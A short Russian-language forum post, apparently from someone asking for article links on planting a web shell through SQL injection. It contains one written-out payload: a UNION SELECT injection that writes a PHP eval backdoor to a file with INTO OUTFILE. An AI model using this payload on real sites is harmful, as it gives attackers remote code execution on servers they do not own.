дайте ссылы на статьи по поводу заливки шелла через запрос SQL, на подобе
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,'<?php eval($_GET[‘e’]) ?>',5,6 INTO OUTFILE '1.php'; --

а то поиск не работает по идее ничего вообще не хочет искать

заранее спасибо